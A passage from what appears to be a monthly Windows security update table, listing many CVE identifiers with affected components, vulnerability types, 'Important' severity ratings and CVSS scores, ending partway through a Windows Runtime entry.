CVE-2026-49803\n  Windows AppX\n  Deployment Extensions Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50351\n  Windows Audio\n  Compression Manager (ACM) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50440\n  Windows Audio Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34328\n  Windows Audio Service\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50406\n  Windows Backup Engine\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50364\n  Windows Backup Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-42975\n  Windows Bluetooth Port\n  Driver Remote Code Execution\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58538\n  Windows Bluetooth\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58638\n  Windows Boot Loader\n  Security Feature Bypass Vulnerability\n  Important\n  6\n  No\n  No\n  SFB\n \n \n  CVE-2026-58637\n  Windows Client-Side\n  Caching Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50384\n  Windows Clip Service\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49183\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50689\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50374\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58536\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58613\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50401\n  Windows Cloud Files\n  Mini Filter Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50697\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50667\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50421\n  Windows Connected User\n  Experiences and Telemetry Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50428\n  Windows Container\n  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50352\n  Windows Cryptographic\n  Services Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50302\n  Windows Cryptographic\n  Services Security Feature Bypass Vulnerability\n  Important\n  4.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-55144\n  Windows Cryptography\n  API: Next Generation (CNG) Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50347\n  Windows Data.dll\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49181\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50683\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58627\n  Windows DHCP Server\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50685\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-49807\n  Windows DirectX\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49175\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50487\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50465\n  Windows DNS Client\n  Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-49169\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50426\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50424\n  Windows Domain\n  Controller Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50300\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50437\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-34348\n  Windows Event Logging\n  Service Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50502\n  Windows Event Logging\n  Service Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-33842\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40422\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41087\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50473\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50442\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50389\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50456\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57084\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57091\n  Windows File History\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50405\n  Windows Filtering\n  Platform Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49172\n  Windows FTP Service\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50387\n  Windows GDI Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54122\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50483\n  Windows Graphics\n  Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58609\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50391\n  Windows Group Policy\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50310\n  Windows Human\n  Interface Device Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50485\n  Windows Hyper-V Denial\n  of Service Vulnerability\n  Important\n  4.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54129\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50315\n  Windows Image\n  Acquisition Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58534\n  Windows Input Method\n  Editor (IME) Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50490\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58540\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50425\n  Windows Internal\n  System User Profile Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50293\n  Windows Internal Task\n  Bar Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49167\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49173\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54132\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49795\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49798\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-49808\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50354\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50332\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50377\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50390\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50423\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50397\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50436\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50399\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50459\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50477\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50478\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50484\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50673\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58532\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50294\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-50316\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50419\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-50463\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50475\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50429\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  8.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58614\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58545\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58602\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50393\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50396\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50378\n  Windows Key Guard\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50303\n  Windows Key Guard\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-40378\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49799\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50371\n  Windows LUA File\n  Virtualization Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58544\n  Windows Management\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50404\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50358\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50336\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50398\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50414\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50379\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50433\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50676\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50677\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34349\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50394\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50415\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.3\n  No\n  No\n  Info\n \n \n  CVE-2026-57083\n  Windows Media Photo\n  Codec Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54115\n  Windows Message\n  Queuing (MSMQ) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50447\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50505\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50342\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56183\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56187\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58635\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50500\n  Windows Netlogon\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50476\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50450\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56650\n  Windows Network File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56649\n  Windows Network File\n  System Remote Code Execution Vulnerability\n  Important\n  5.9\n  No\n  No\n  RCE\n \n \n  CVE-2026-50470\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50496\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56194\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56648\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50337\n  Windows Notification\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49789\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50412\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50422\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50672\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56175\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56182\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50341\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58640\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-49184\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-49797\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50308\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50386\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50309\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50313\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50388\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50448\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50471\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50461\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50417\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50482\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-50494\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50344\n  Windows OLE Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50686\n  Windows OLE Remote\n  Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-50335\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50317\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54987\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50435\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50409\n  Windows Overlay Filter\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40400\n  Windows PowerShell\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49166\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55004\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50499\n  Windows Print Spooler\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50383\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57085\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50469\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50434\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50339\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50430\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50334\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-44800\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50363\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50431\n  Windows Quality of\n  Service (QoS) Packet Scheduler Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50372\n  Windows Redirected\n  Drive Buffering System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50666\n  Windows Remote Access\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56647\n  Windows Remote Access\n  Service Infrastructure Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50330\n  Windows Remote Desktop\n  Client Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50376\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50504\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58533\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58535\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58546\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58539\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55003\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57979\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50445\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50497\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54126\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57982\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50369\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58626\n  Windows Remote Desktop\n  Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55014\n  Windows Remote Help\n  Defense Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50318\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50407\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50357\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50441\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50668\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54109\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49792\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49793\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50362\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50492\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50501\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58530\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49791\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50451\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57096\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50323\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50452\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50348\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50345\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  